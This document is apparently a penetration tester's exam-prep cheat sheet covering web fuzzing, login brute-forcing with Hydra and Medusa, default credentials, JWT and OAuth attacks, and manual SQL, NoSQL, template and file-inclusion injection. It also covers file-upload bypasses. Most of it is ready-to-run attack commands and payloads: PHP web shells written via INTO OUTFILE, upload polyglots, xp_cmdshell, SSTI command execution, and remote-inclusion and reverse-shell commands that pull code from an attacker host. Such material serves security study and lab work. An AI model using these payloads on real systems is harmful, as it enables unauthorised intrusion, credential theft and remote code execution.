sqlmap --proxy=http://127.0.0.1:8080 -r request.txt
nmap --proxies http://127.0.0.1:8080 $IP -p PORT -Pn -sC # experimental; -Pn required
# msf module through the proxy
msf> set PROXIES HTTP:127.0.0.1:8080
# proxychains fallback for anything without a native flag
# /etc/proxychains.conf -> http 127.0.0.1 8080 (comment the default socks4 line, set quiet_mode)
proxychains curl http://$IP:PORT
[!tip] Only proxy while actively investigating a tool’s requests — it adds latency and will crawl a bulk fuzz. Turn it off for normal runs. See 6 - Proxying Tools.
Advanced ffuf — fingerprint, recurse, filter the wordlist
What to look for → the stack’s real extension before I waste a page-fuzz, deep nested trees, and wordlists trimmed to a known password policy so the run isn’t dominated by impossible candidates.
Fingerprint the extension off index.* (more reliable than guessing from Server: header):
# web-extensions.txt already carries the leading dot, so FUZZ sits straight after "index"
ffuf -w /usr/share/seclists/Discovery/Web-Content/web-extensions.txt:FUZZ \
-u http://$IP/blog/indexFUZZ -c
# .php [200] -> PHP stack ; .phps [403] -> source-view handler exists but blocked (still useful intel)
# then reuse a directory list as a FILENAME list against the confirmed extension:
ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt:FUZZ \
-u http://$IP/blog/FUZZ.php -c
Recursion + extension in one pass — the depth here goes beyond the guide’s plain -recursion:
ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt:FUZZ \
-u http://$IP/FUZZ -recursion -recursion-depth 1 -e .php -v -c
# -recursion-depth 1 = direct sub-dirs only (start shallow, then hand-target the interesting dir)
# -e .php doubles the list (bare + .php) so dirs AND files hit in one run
# -v is MANDATORY with recursion — plain keyword output is ambiguous once jobs nest ([INFO] Adding a new job...)
Value fuzzing with a generated list (when no SecLists file fits an app-specific ID/token shape):
seq 1 1000 | ffuf -w -:FUZZ -u http://$IP/admin/admin.php -X POST \
-d 'id=FUZZ' -H 'Content-Type: application/x-www-form-urlencoded' -fs <baseline> -c
# pipe seq straight in with -w - (no intermediate ids.txt); -fs = the "Invalid id!" baseline size
Trim a wordlist to the target’s password policy before feeding brute-force (min 8, upper+lower+digit):
grep -P '^(?=.{8,})(?=.*[A-Z])(?=.*[a-z])(?=.*[0-9]).*$' rockyou.txt > policy.txt
# add "2+ specials" with a grouped quantifier:
grep -E '([!@#$%^&*].*){2,}' policy.txt > policy2.txt # collapses a 10k list to dozens
[!warning] Watch out
-recursionwithout-recursion-depthagainst a deep tree can expand ~forever — always cap it, then follow up manually. feroxbuster recurses by default with wildcard-response heuristics if ffuf’s soft-404 tuning gets tedious.- A fuzz hit means the value/param is recognised, not that it still works — confirm with a manual
curland read the actual app response (Invalid id!proves the param is live and validated → 8 - Value Fuzzing).
ffuf — POST body, JSON, header & cookie fuzzing
Same FUZZ-anywhere primitive as dir fuzzing, just moved into the body/headers. The gotcha the guide’s POST example omits is the Content-Type header — PHP won’t parse the body without it.
# POST param NAME (form-encoded) — the header is required or every hit reads as the baseline
ffuf -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt:FUZZ \
-u http://$IP/admin/admin.php -X POST -d 'FUZZ=key' \
-H 'Content-Type: application/x-www-form-urlencoded' -fs <baseline> -c
# JSON API body — fuzz a field value inside the JSON
ffuf -w users.txt:FUZZ -u http://$IP/api/login -X POST \
-H 'Content-Type: application/json' -d '{"username":"FUZZ","password":"test"}' -fr 'error' -c
# HEADER fuzz — e.g. hunt an ACL/localhost-only path via spoofed forwarding headers
ffuf -w /usr/share/seclists/Miscellaneous/web/http-request-headers/http-request-headers-fuzz.txt:FUZZ \
-u http://$IP/admin -H 'FUZZ: 127.0.0.1' -c
ffuf -u http://$IP/admin -w hosts.txt:FUZZ -H 'X-Forwarded-For: FUZZ' -fc 403 -c
# COOKIE value fuzz — session/role guessing
ffuf -w values.txt:FUZZ -u http://$IP/dashboard -b 'role=FUZZ' -fc 403 -c
[!tip] Once a hidden param surfaces it’s under-tested by definition — revisit it with SQLi / command-injection / XSS from the sections above rather than treating discovery as the finish line → 7 - Parameter Fuzzing - GET & POST.
Login brute-forcing — Hydra & Medusa
What to look for → a confirmed username (default cred, enumerated, /home/<user>), the form’s exact method + field names, and the precise success/failure signal (dev-tools Network tab or proxy interception is ground truth). Try default creds before a long run — free and often still valid. Tools: hydra (raw throughput, service modules), medusa (parallel hosts), ffuf (web/JSON flexibility).
Default creds first
# service-specific lists live under Default-Credentials/
head /usr/share/seclists/Passwords/Default-Credentials/default-passwords.txt
hydra -C /usr/share/seclists/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt ftp://$IP
# -C file = "user:pass" combined pairs, one attempt each (spray default pairs, no cartesian product)
Hydra http-post-form — the params string is path:body-template:condition:
hydra -L users.txt -P /usr/share/wordlists/rockyou.txt -f -V $IP -s 80 \
http-post-form "/login.php:username=^USER^&password=^PASS^:F=Invalid credentials"
# ^USER^/^PASS^ = per-attempt placeholders
# F=<string> -> response CONTAINING it = fail (everything else = candidate success) [most reliable]
# S=302 / S=Dashboard -> explicit SUCCESS marker; use when there's no clean failure string
# -f stop on first hit, -V show each try
Hydra service modules & pure brute (service://target, consistent across protocols):
hydra -l "$U" -P rockyou.txt ssh://$IP -t 4 # ssh (throttle -t on flaky SSH)
hydra -L users.txt -P pass.txt ftp://$IP -s 2121 -V # non-default port
hydra -l basic-auth-user -P pass.txt $IP http-get / -s 81 # HTTP Basic Auth
hydra -l root -p toor -M targets.txt ssh # one pair across many hosts (subnet sweep)
hydra -l administrator -x 6:8:abcABC0123 $IP rdp # -x = charset brute (len 6-8), not a wordlist
# also: pop3 imap smtp mysql mssql vnc rdp — same service://IP shape
Medusa — same idea, different flags; strong for chaining a foothold into more targets:
medusa -h $IP -n PORT -u sshuser -P pass.txt -M ssh -t 3
# after SSH in: netstat -tulpn | grep LISTEN -> spot a new local service (e.g. :21)
medusa -h 127.0.0.1 -u ftpuser -P pass.txt -M ftp -t 5 # /home/ftpuser hinted the username
medusa -M web-form -h $IP -U users.txt -P pass.txt -m FORM:"..." # web login module
ffuf as the cred brute (handles JSON/tokens Hydra chokes on) — this is the cluster-bomb:
ffuf -w users.txt:U -w pass.txt:P -mode clusterbomb \
-u http://$IP/login.php -X POST -d 'username=U&password=P' \
-H 'Content-Type: application/x-www-form-urlencoded' -fr 'Invalid credentials' -c
# -mode clusterbomb = every user x every pass ; -mode pitchfork = paired lines (credential stuffing)
[!warning] Watch out
- Confirm the F=/S= signal by hand first — Hydra’s condition match is a raw string-grep against the response; a wrong string reports every attempt as success (or none).
F=beatsS=when the app shows a stable error.- Hydra
http-post-formbreaks on CSRF tokens, JSON APIs, and JS-side validation — switch to Burp Intruder (Cluster bomb + Grep-Match) or theffufcluster-bomb above for those; keep Hydra/Medusa for raw SSH/FTP/RDP throughput.- Watch for lockout / rate-limit / CAPTCHA — drop
-t, prefer spraying (few passwords × many users, breadth-first) over hammering one account.-fshould be a default habit to stop the noise the moment a pair lands.- NetExec is the better pick for Windows/AD-adjacent services (SMB/WinRM/MSSQL/RDP) — it sprays and enumerates post-auth in one shot (STAGE 3/AD).
Custom wordlists from OSINT
Generic 10M-entry lists rarely contain one named target’s actual creds — build small, relevant ones and let them feed -L/-P directly.
# usernames from a real name (initials, dotted, numbered permutations)
./username-anarchy Jane Smith > users.txt
# CUPP: biographical password profile (name, DOB, partner, pet, company, keywords -> leet + suffixes)
cupp -i # interactive; ~46k candidates from a modest profile
grep -P '^(?=.{6,})(?=.*[A-Z])(?=.*[a-z])(?=.*[0-9]).*$' jane.txt \
| grep -E '([!@#$%^&*].*){2,}' > jane-filtered.txt # policy-trim before the run
[!tip] Username and password matter — a known username halves the search space.
theHarvester+ a known email format (f.last), orexiftoolon public PDFs for the author naming convention, often beats brute permutation. Full pipeline: 7 - Custom Wordlists, policy-filter theory in 4 - Hybrid Attacks & Credential Stuffing, default-cred rationale in 2 - Password Security Fundamentals.
AuthN attacks — defaults, JWT, OAuth, reset flaws, MFA
Default credentials table — try these before any wordlist (T1078 Valid Accounts):
| App | Defaults | Notes |
|---|---|---|
| Tomcat Manager | tomcat:tomcat · tomcat:s3cret · admin:admin | → WAR deploy RCE (Tomcat → /manager WAR deploy (msfvenom war)) |
| Jenkins | admin:admin · often no auth (setup skipped) | → Script console RCE |
| GitLab | root pw set at install; check self-registration | → repo secret mining |
| Grafana | admin:admin (prompts change, often skipped) | also CVE-2021-43798 unauth LFI |
| Splunk | admin:changeme | expired trial → no auth at all |
| PRTG | prtgadmin:prtgadmin | pre-filled on the login page |
| Nagios XI | nagiosadmin:PASSW0RD | multiple RCE CVEs |
| phpMyAdmin | root: (blank) · root:root | → SELECT ... INTO OUTFILE webshell |
| WebLogic | weblogic:weblogic · system:Passw0rd | console → app deploy |
| Axis2 | admin:axis2 | → .aar service upload RCE |
| Drupal/Joomla WP | set at install — but admin:admin/admin:password always worth 3 tries | generic-error logins kill user enum |
Also check the curated lists: /usr/share/seclists/Passwords/Default-Credentials/ and the web tool cirt.net/vendor default lists.
JWT attacks — grab the token from Authorization: Bearer, decode, then attack (jwt_tool):
# decode by hand
echo '<payload-part>' | tr '_-' '/+' | base64 -d 2>/dev/null
# jwt_tool full audit + signing-key crack
python3 jwt_tool.py <JWT> # recon mode: flags alg, kid, common flaws
python3 jwt_tool.py <JWT> -C -d /usr/share/wordlists/rockyou.txt # crack weak HMAC secret
python3 jwt_tool.py <JWT> -X a # alg=none attack
python3 jwt_tool.py <JWT> -I -pc role -pv admin # inject claim after -T tamper
| JWT flaw | Test |
|---|---|
alg: none accepted | set header {"alg":"none"}, empty signature, resend |
| Weak HMAC secret | crack with jwt_tool/hashcat mode 16500 (rockyou, jwt.secrets.list) |
| RS256→HS256 confusion | sign with the server’s public key as the HMAC secret |
kid injection | kid: ../../dev/null (sign with empty key), SQLi in kid, path to your key |
jku/x5u header abuse | point at attacker-hosted JWK set |
| No expiry/aud check | replay old tokens, swap aud |
Flask session cookies — Django/Flask signed cookies are the same shape of bug: with flask-unsign crack the SECRET_KEY, then forge any session:
flask-unsign --decode --cookie '<session.cookie>'
flask-unsign --unsign --cookie '<cookie>' --wordlist rockyou.txt # crack secret
flask-unsign --sign --cookie "{'username':'admin'}" --secret 'crackedSecret'
OAuth / OIDC pitfalls (test systematically, don’t skim):
redirect_urivalidation → open redirect toattacker.tldsteals the authcode/token(substring/@/dot tricks:https://legit.com.attacker.tld,https://attacker.tld?u=legit.com).response_type=tokenimplicit flow → access token in URL fragment, leaks viaReferer/browser history.- State/
stateparameter missing → OAuth CSRF (attacker account linked to victim session). codereplay or no PKCE on a public client → intercept & reuse the authorization code.- OIDC
id_tokenaccepted without signature/issuer validation.
Password reset flaws — the highest-yield auth surface after brute force:
- Host-header poisoning: request a reset with
Host: attacker.tld(orX-Forwarded-Host) → victim’s reset link points at you. - Token leakage via
Refererwhen the reset page loads third-party resources. - Predictable/short/never-expiring tokens; token not invalidated after use; token tied to no user (swap email/uid in the reset-confirm request).
- Response oracle for user enumeration on the reset form (“email not found”).
2FA / MFA bypass patterns:
- Direct-request to post-2FA endpoints with only the stage-1 session (forced browsing).
- Response tampering:
{"success":false}→true, or status 401 → 200 (client-side enforcement). - OTP brute force: 4–6 digit codes without rate-limit/lockout → race it (see 🏎️ Race conditions & request smuggling).
- Reuse/flawed rotation of OTP tokens;
null/empty OTP accepted. - Backup codes weaker than the OTP; “remember device” cookie guessing.
Session fixation & session mismanagement:
- App issues a session cookie pre-login and doesn’t rotate it post-login → fixate a victim on your cookie, wait for them to log in, replay it.
- Session cookie survives logout / long
Expires/ noSecure+HttpOnly+SameSiteflags → theft & replay windows. - JWT/localStorage “sessions” can’t be revoked server-side — logout is cosmetic.
[!warning] OPSEC — auth attacks are the noisiest thing you’ll do Lockout policies, impossible-travel alerts, and login-anomaly dashboards all trigger here. Spray ≤2 passwords per account per window (breadth-first), respect the GitLab-style “10 attempts / 10 min” lockouts, and always
-f/stop-on-success. On CPTS, default creds and one wordlist pass are usually the intended path — hours of rockyou against a login form rarely are. See 02 - Attacking Common Applications - CPTS Cheat Sheet for per-app cred tables and 05 - Foothold Toolkit - Shells Payloads and Metasploit for what to do with the shell that follows.
💉 Manual Injection Depth — SQLi · LFI/RFI · Upload · CmdInjection
The automated tools above hide the mechanics. This is the by-hand depth for when sqlmap gets WAF’d, when there’s an upload form to abuse, or when the exam wants me to show the injection. Modules: SQLi Fundamentals (7 - Subverting Query Logic → 11 - Reading and Writing Files), File Inclusion (3 - Basic Bypasses, 7 - LFI and File Uploads, 8 - Log Poisoning), File Upload (3 - Blacklist Filters → 7 - Other Upload Attacks), Command Injection (3 - Identifying Filters → 8 - Evasion Tools). All web shells below = <?php system($_REQUEST['cmd']); ?>.
Manual SQLi — auth-bypass → UNION extract → file R/W → shell
What to look for → a ' that throws a SQL error (injectable), a login form (auth bypass), or any reflected query (UNION dump). Reach here when sqlmap misses it or a WAF blocks its request shapes — see 9 - Union Clause, 10 - Database Enumeration, 11 - Reading and Writing Files.
Enumerate — confirm, bypass auth, detect columns, fingerprint
# injectable? one quote -> odd-quote syntax error
username: admin'
# auth bypass (either field): OR-always-true, or comment out the rest
' or '1'='1
admin'-- - # comment neutralises trailing "AND password=..."
admin')-- - # parenthesised query: close the ( before commenting
# NOTE: -- needs a TRAILING SPACE; in a URL write --+ , and # must be %23
# column count (two directions)
cn' ORDER BY 4-- - # increment until "Unknown column '5'"
cn' UNION SELECT 1,2,3,4-- - # increment until it STOPS erroring
# which columns print + DBMS fingerprint
cn' UNION SELECT 1,@@version,3,4-- - # full output visible -> 10.3.22-MariaDB...
cn' UNION SELECT 1,POW(1,1),3,4-- - # only a NUMERIC column prints
cn' UNION SELECT SLEEP(5)-- - # zero output at all -> 5s delay = blind (oracle for B/T)
Exploit / Attack — INFORMATION_SCHEMA walk, then FILE read/write → RCE
# DBs -> tables -> columns -> data (dot-operator reaches OTHER databases)
cn' UNION SELECT 1,schema_name,3,4 FROM INFORMATION_SCHEMA.SCHEMATA-- -
cn' UNION SELECT 1,database(),3,4-- - # DB the query runs in
cn' UNION SELECT 1,TABLE_NAME,TABLE_SCHEMA,4 FROM INFORMATION_SCHEMA.TABLES WHERE table_schema='dev'-- -
cn' UNION SELECT 1,COLUMN_NAME,TABLE_NAME,4 FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name='credentials'-- -
cn' UNION SELECT 1,username,password,4 FROM dev.credentials-- - # cross-DB read
# --- file R/W: confirm FILE priv + secure_file_priv BEFORE writing ---
cn' UNION SELECT 1,user(),3,4-- -
cn' UNION SELECT 1,grantee,privilege_type,4 FROM information_schema.user_privileges WHERE grantee="'root'@'localhost'"-- -
cn' UNION SELECT 1,variable_name,variable_value,4 FROM information_schema.global_variables WHERE variable_name='secure_file_priv'-- - # empty = write anywhere
cn' UNION SELECT 1,LOAD_FILE('/etc/passwd'),3,4-- -
cn' UNION SELECT 1,LOAD_FILE('/var/www/html/config.php'),3,4-- - # Ctrl+U for raw source (leaks DB creds)
# proof-write first (confirms webroot + perms), THEN the shell -> RCE
cn' UNION SELECT 1,'proof',3,4 INTO OUTFILE '/var/www/html/proof.txt'-- -
cn' UNION SELECT "",'<?php system($_REQUEST[0]); ?>',"","" INTO OUTFILE '/var/www/html/shell.php'-- -
curl "http://$IP/shell.php?0=id"
# longer/binary payloads: wrap the string in FROM_BASE64('...') INTO OUTFILE
# MSSQL analog (DBMS is MSSQL, not MySQL) -> stacked query + xp_cmdshell
'; EXEC sp_configure 'show advanced options',1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE;-- -
'; EXEC xp_cmdshell 'whoami';-- -
[!warning] Watch out
--needs the trailing space;#→%23; and count the parentheses — a wrapped query needsadmin')--notadmin'--.- Put real data only in a printed column (map them with
@@version); output in an unprinted column is computed but invisible.NULLis the type-agnostic filler when a position errors on type.INTO OUTFILEneeds all three:FILEpriv +secure_file_privpermits the path + OS write perms. Stock MySQL defaultssecure_file_priv=/var/lib/mysql-files(orNULL) → OUTFILE to webroot fails; pivot to cred-dump, don’t force RCE.- A
rootDB user is usually a DBA withFILE; its read scope viadb.tableis normally wider than the single app DB.
NoSQL injection (MongoDB/Express APIs)
What to look for → Node/Express stack (connect.sid, X-Powered-By: Express), JSON API bodies, login forms on a MERN app. MongoDB queries take objects, so type-juggling turns {"$gt":""} into always-true.
Payload table
| Vector | Payload | Effect |
|---|---|---|
| URL-encoded | username[$ne]=x&password[$ne]=x | $ne = not-equal → matches any real user (auth bypass) |
| URL-encoded | username=admin&password[$regex]=^a | character-by-character password extraction |
| JSON body | {"username":{"$gt":""},"password":{"$gt":""}} | same bypass, JSON form (Content-Type: application/json) |
| JSON body | {"username":"admin","password":{"$regex":"^HTB{"}} | boolean oracle per prefix (binary-search the flag/pw) |
| JS injection | `’ | |
| Timing | {"$where":"sleep(5000)"} | blind confirm (rare, needs $where enabled) |
# extract admin's password char-by-char via regex oracle
for c in {a..z} {0..9}; do
curl -s -X POST http://$IP/login -H 'Content-Type: application/json' \
-d "{\"username\":\"admin\",\"password\":{\"\$regex\":\"^$KNOWN$c\"}}" | grep -q 'Welcome' && KNOWN="$KNOWN$c" && echo "$KNOWN"
done
[!warning] Watch out
- The
[$ne]syntax only works in URL-encoded bodies (PHP/Expressqsparsing); for JSON APIs switch to{"$ne":null}objects — test both.- Regex extraction is one request per character per position — slow but silent (single-user, no lockout). Blunt
$nebypass is instant but obvious in logs.- PayloadsAllTheThings NoSQL page is the canonical payload list.
SSTI — server-side template injection
What to look for → reflected input inside a template (error pages, email templates, ?name=, PDF/report generators). Test with {{7*7}} → 49 = SSTI (vs $ {7*7}/<%= 7*7 %> per engine). T1190 Exploit Public-Facing Application.
Detection matrix (send {{7*7}} and ${7*7}, read the result):
| Engine / stack | Syntax probe | Result 49? | RCE payload shape |
|---|---|---|---|
| Jinja2 (Flask/Python) | {{7*7}} | yes | {{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }} |
| Twig (PHP) | {{7*7}} | yes | `{{[‘id’] |
| FreeMarker (Java) | ${7*7} / <#assign> | yes | <#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")} |
| Thymeleaf (Spring) | *{7*7} / ${...} | context | SpringEL: ${T(java.lang.Runtime).getRuntime().exec('id')} |
| ERB (Ruby) | <%= 7*7 %> | yes | <%= system('id') %> / <%= `id` %> |
| Pug/Jade (Node) | #{7*7} | yes | #{global.process.mainModule.require('child_process').execSync('id')} |
| Velocity (Java) | #set($x=7*7)$x | yes | class-tool / Runtime.exec chains |
| Smarty (PHP) | {$smarty.version} | version leak | {system('id')} (older) / {literal} tricks |
# generic Jinja2/Twig RCE ladder (Jinja2)
{{config}} # leak app config/secret keys
{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}
{{''.__class__.__mro__[1].__subclasses__()}} # walk subclasses -> find subprocess.Popen index
# tplmap — the sqlmap of SSTI (auto-detect engine, then shell)
python3 tplmap.py -u "http://$IP/page?name=test" --os-shell
python3 tplmap.py -u "http://$IP/page?name=test" -e jinja2 --reverse-shell $LHOST 4444
[!warning] Watch out
{{7*7}}rendering as literal text ≠ safe — the engine may use${...}or<%= %>; probe all three syntaxes.- Sandboxed engines (Jinja2 sandbox, Smarty secure mode) need subclass-walking or gadget chains — don’t expect
os.popento work on the first try.- SSTI output often lands in emails/PDFs, not the HTTP response — blind confirm with an OOB callback (
curl $LHOST:8000/x) like blind XSS.- Cross-link the resulting shell: 05 - Foothold Toolkit - Shells Payloads and Metasploit for upgrading to a full reverse shell.
LFI depth — filter-bypass matrix → LFI2RCE → RFI transports
What to look for → same ?page= ?file= ?language= ?include= sinks the guide’s wrapper block uses. This is the manual bypass ladder and the RCE chains the LFI - Cheat Sheet pointer glosses — recognise the concatenation pattern first (2 - Local File Inclusion (LFI)), then defeat the filter (3 - Basic Bypasses).
Enumerate — recognise the concat pattern, then beat the filter
# how is the param concatenated? (a verbose PHP error names the resolved path)
?language=/etc/passwd # direct include() -> absolute path works
?language=../../../../etc/passwd # prepended directory -> traverse out (excess ../ is harmless)
?language=/../../../etc/passwd # prefix e.g. "lang_" -> leading / turns prefix into a dir
# appended ".php" -> /etc/passwd.php (fails): use php://filter, or legacy null-byte below
# filter-bypass matrix
?language=....//....//....//etc/passwd # non-recursive str_replace('../','') -> ....// leaves ../
?language=%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd # URL-encode; DOUBLE-encode vs a 1-pass WAF
?language=./languages/../../../etc/passwd # approved-path regex only anchors the START
?language=/etc/passwd%00 # + ~2048x "./" padding # PHP <5.3/5.5 ONLY (dead on 7/8)
Exploit / Attack — RCE chains beyond the guide’s wrapper one-liners
# --- second-order LFI: poison a STORED value, trigger the sink later ---
# register username = ../../../etc/passwd , then hit /profile/<username>/avatar.png
# --- LFI2RCE via ANY upload form (the upload itself need not be vulnerable) ---
echo 'GIF8<?php system($_GET["cmd"]); ?>' > shell.gif # ASCII magic-byte polyglot
# upload as avatar, grab the stored path from page source (<img src=...>), then include it:
curl "http://$IP/index.php?language=./profile_images/shell.gif&cmd=id"
# zip:// wrapper (# -> %23)
echo '<?php system($_GET["cmd"]); ?>' > shell.php && zip shell.jpg shell.php
curl "http://$IP/index.php?language=zip://./uploads/shell.jpg%23shell.php&cmd=id"
# phar:// wrapper (build locally with phar.readonly=0)
# shell.php: $p=new Phar('shell.phar'); $p->startBuffering();
# $p->addFromString('shell.txt','<?php system($_GET["cmd"]); ?>');
# $p->setStub('<?php __HALT_COMPILER(); ?>'); $p->stopBuffering();
php --define phar.readonly=0 shell.php && mv shell.phar shell.jpg
curl "http://$IP/index.php?language=phar://./uploads/shell.jpg/shell.txt&cmd=id"
# --- poisoning variants beyond the guide's access.log + PHPSESSID (see 8 - Log Poisoning) ---
curl "http://$IP/index.php?language=/proc/self/environ&cmd=id" # UA reflected here
curl "http://$IP/index.php?language=/proc/self/fd/15&cmd=id" # fd N ~ 0-50, brute it
# nginx access log is www-data-readable (Apache's is usually root/adm); SSH/FTP/mail also poisonable:
# log in / send mail with PHP in the username or body, then include:
# /var/log/nginx/access.log /var/log/sshd.log /var/log/vsftpd.log /var/log/mail
RFI — the transports the guide’s single HTTP host skips (6 - Remote File Inclusion (RFI))
# 0) VERIFY rfi with a LOOPBACK include first (allow_url_include=On is necessary, not sufficient)
?language=http://127.0.0.1:80/index.php # renders+executes = RFI viable; NEVER target the vuln page (DoS loop)
echo '<?php system($_GET["cmd"]); ?>' > shell.php
sudo python3 -m http.server 80 # HTTP (80/443 = most-whitelisted egress)
curl "http://$IP/index.php?language=http://$LHOST/shell.php&cmd=id"
sudo python3 -m pyftpdlib -p 21 # FTP: when the literal http:// string is WAF'd
curl "http://$IP/index.php?language=ftp://$LHOST/shell.php&cmd=id"
impacket-smbserver -smb2support share $(pwd) # SMB: Windows target -> UNC path skips allow_url_include
curl "http://$IP/index.php?language=\\\\$LHOST\\share\\shell.php&cmd=whoami"
PHP wrapper quick-reference
| Wrapper | Needs | Use |
|---|---|---|
php://filter/convert.base64-encode/resource=X | nothing | read PHP source (b64 it so it isn’t executed) |
php://input | allow_url_include | POST raw PHP as the request body |
data://text/plain;base64,... | allow_url_include | inline payload, no external host |
expect://cmd | expect ext (rare) | direct command exec |
zip://shell.zip%23shell.php | uploaded zip | execute a PHP file inside an uploaded archive |
phar://shell.jpg/shell.txt | uploaded phar-polyglot | same trick, phar metadata also triggers unserialize |
file:///etc/passwd / bare path | nothing | plain read / traversal baseline |
Filter-chain RCE — when you have LFI on a modern PHP (7/8) with no upload, no logs, no allow_url_include: php_filter_chain_generator builds a php://filter chain of convert.iconv.* transforms that generates arbitrary PHP code from the included file itself, giving RCE from a pure read primitive:
python3 php_filter_chain_generator.py --chain '<?php system($_GET["0"]);?>'
# paste the emitted chain as the include param, then &0=id
[!warning] Watch out
- Null-byte / path-truncation are PHP <5.3/5.5 only — dead on any live target, keep them purely for legacy recognition.
- Don’t filter
301/302/403when fuzzing files under an LFI: filesystem read ≠ HTTP navigation, those pages are still readable through the include.- RFI ⊂ LFI: every RFI is an LFI, not every LFI is RFI-capable — prove it with the loopback include, don’t infer it from
allow_url_includealone.- Session/log poisoning is noisy and forensic by design — prefer wrapper or upload RCE. Each poisoned-session command needs re-poisoning first (the inclusion request overwrites the
pagefield on the next write).
File-upload bypass matrix — extension · Content-Type · magic bytes · double-ext
What to look for → any upload (avatar, doc import, CSV). Peel the filters layer by layer — extension → Content-Type header → magic bytes — then check the filename itself and the “safe type” surface. Full ladder in 2 - Client-Side Validation → 7 - Other Upload Attacks.
Enumerate — find which layer validates and what it accepts
# client-side only? intercept in Burp & swap filename/body, or delete the onchange handler in DevTools
# -> back-end then sees the raw POST with no JS in the way
# blacklist vs whitelist: Intruder-fuzz the extension, sort by response Length (one uniform length = accepted set)
ffuf -w /usr/share/seclists/Discovery/Web-Content/web-extensions.txt:FUZZ \
-u http://$IP/upload.php -X POST -F "uploadFile=@shell.FUZZ;type=image/png"
# content-type layer: fuzz just the FILE-PART header with the image subset
grep 'image/' /usr/share/seclists/Miscellaneous/Web/content-type.txt > image-ct.txt
Exploit / Attack — the bypass matrix
# EXTENSION blacklist -> alternate PHP-executable exts (server-handler dependent)
shell.phtml shell.php3 shell.php4 shell.php5 shell.pht pHp # mixed-case beats a lowercase-only list
# WHITELIST (regex) bypass
shell.jpg.php # double-ext: unanchored ^.*\.(jpg|png)$ (missing $) matches .jpg, file saved as .php
shell.php.jpg # reverse double-ext: abuses Apache <FilesMatch ".+\.ph(ar|p|tml)"> with no trailing $
# char-injection generator (legacy/Windows: %00 truncation, ':' = NTFS ADS e.g. shell.aspx:.jpg)
for c in %20 %0a %00 / .\\ . : ; do for e in .php .phps; do \
printf 'shell%s%s.jpg\nshell%s%s.jpg\nshell.jpg%s%s\n' "$c" "$e" "$e" "$c" "$c" "$e"; done; done > upx.txt
# CONTENT-TYPE header spoof: keep filename="shell.php", body=PHP, set the file part's header:
# Content-Type: image/jpg
# MAGIC-BYTE (signature) check -> prepend GIF8
printf 'GIF8\n<?php system($_REQUEST["cmd"]); ?>' > shell.php # `file shell.php` now reports GIF image data
# layered filter -> combine ext + content-type + magic bytes, fuzz the permutation
# --- "secure" upload still carries surface without any code-exec (6 - Limited File Uploads) ---
# SVG stored XSS (browser renders SVG but parses its XML):
# <svg xmlns="http://www.w3.org/2000/svg"><script>alert(window.origin)</script></svg> upload as .svg
# SVG/XML XXE -> local file read + source disclosure (PDF/DOCX/PPTX embed XML too):
# <!DOCTYPE svg [<!ENTITY x SYSTEM "file:///etc/passwd">]><svg>&x;</svg>
# <!DOCTYPE svg [<!ENTITY x SYSTEM "php://filter/convert.base64-encode/resource=index.php">]><svg>&x;</svg>
exiftool -Comment=' "><img src=1 onerror=alert(window.origin)>' HTB.jpg # XSS via a displayed EXIF field
# filename as its own injection vector (back-end shells out / builds SQL / reflects it):
file$(whoami).jpg file.jpg||whoami "<script>alert(1)</script>.jpg" "x';select sleep(5);--.jpg"
# leak the uploads path: duplicate name / parallel identical uploads / ~5000-char filename -> disclosing error
# Windows: reserved names CON COM1 LPT1 NUL ; 8.3 short-name overwrite WEB~1.CONF -> web.config
[!warning] Watch out
- Bypassing the blacklist ≠ execution: a fuzzed-allowed extension only fires if the web server’s handler hands it to the PHP interpreter — always test the real upload;
.phtmlis the usual winner.- The unanchored regex (missing
$) is THE whitelist bug — tryshell.jpg.phpfirst; if it’s properly anchored, drop to the ApacheFilesMatchlayer withshell.php.jpg.Content-Typeis browser-set, exactly as trustworthy as the filename; the magic-byte check only reads the first bytes, soGIF8alone spoofs it (a cosmeticGIF8line prints before your output).- SVG is XML rendered as an image — it carries the full XSS and XXE surface even on an “images-only” form, and XXE source-disclosure frequently hands you the exact filter/naming logic to beat everywhere else.
Executable extensions per server — fuzz these, not a random list:
| Server | Extensions to try | Config abuse |
|---|---|---|
| Apache + PHP | .php .phtml .php3 .php4 .php5 .php7 .pht .phar .pHp | upload .htaccess: AddType application/x-httpd-php .jpg → any .jpg executes as PHP |
| IIS (classic) | .asp .aspx .ashx .asmx .cer .asa | upload web.config → run arbitrary command/ASPX (see below) |
| IIS (ASP.NET) | .aspx .ashx .asmx .ascx .cshtml | web.config handler mapping; .ashx = generic handler, often forgotten |
| Tomcat/Java | .jsp .jspx .jsw .jsv .war | WAR deploy if /manager reachable |
| nginx | server config decides (.php via php-fpm) | nginx misconfig: /shell.jpg/x.php path-info trick passes to php-fpm |
| Node/Express | no server-side exec by extension | aim for stored XSS / proto-pollution instead |
<!-- web.config upload → ASPX code exec on IIS (save as web.config in an uploadable dir) -->
<?xml version="1.0" encoding="UTF-8"?>
<configuration><system.webServer><handlers accessPolicy="Read, Script, Write">
<add name="shell" path="*.jpg" verb="*" modules="IsapiModule" scriptProcessor="%windir%\system32\inetsrv\asp.dll" resourceType="Unspecified" requireAccess="Write" preCondition="bitness64"/>
</handlers></system.webServer></configuration>
<!-- now a classic-ASP shell uploaded as .jpg executes -->
Path truncation / injection: .php%00.jpg (PHP<5.3 only), .php/, .php. (Windows strips trailing dot), . php, ::$DATA (NTFS default stream), shell.asp;.jpg (IIS 6 semicolon parsing).
Webshell staging — pick the shell for the server
[!tools] Staged webshells (drop into the upload, then request it) PHP targets (Apache/nginx+php-fpm, WordPress theme editor, LFI2RCE):
rp-shell.php (SHA-256 · GPG signature)
Classic ASP / legacy IIS (
.asp,.cer,asp.dllhandlers):rp-shell.asp (SHA-256 · GPG signature)
Tomcat / any JSP container (also the payload inside a WAR — see Tomcat → /manager WAR deploy (msfvenom war)):
rp-shell.jsp (SHA-256 · GPG signature)
IIS + ASP.NET (
aspxhandler, Windows boxes — pairs with the web.config trick above):
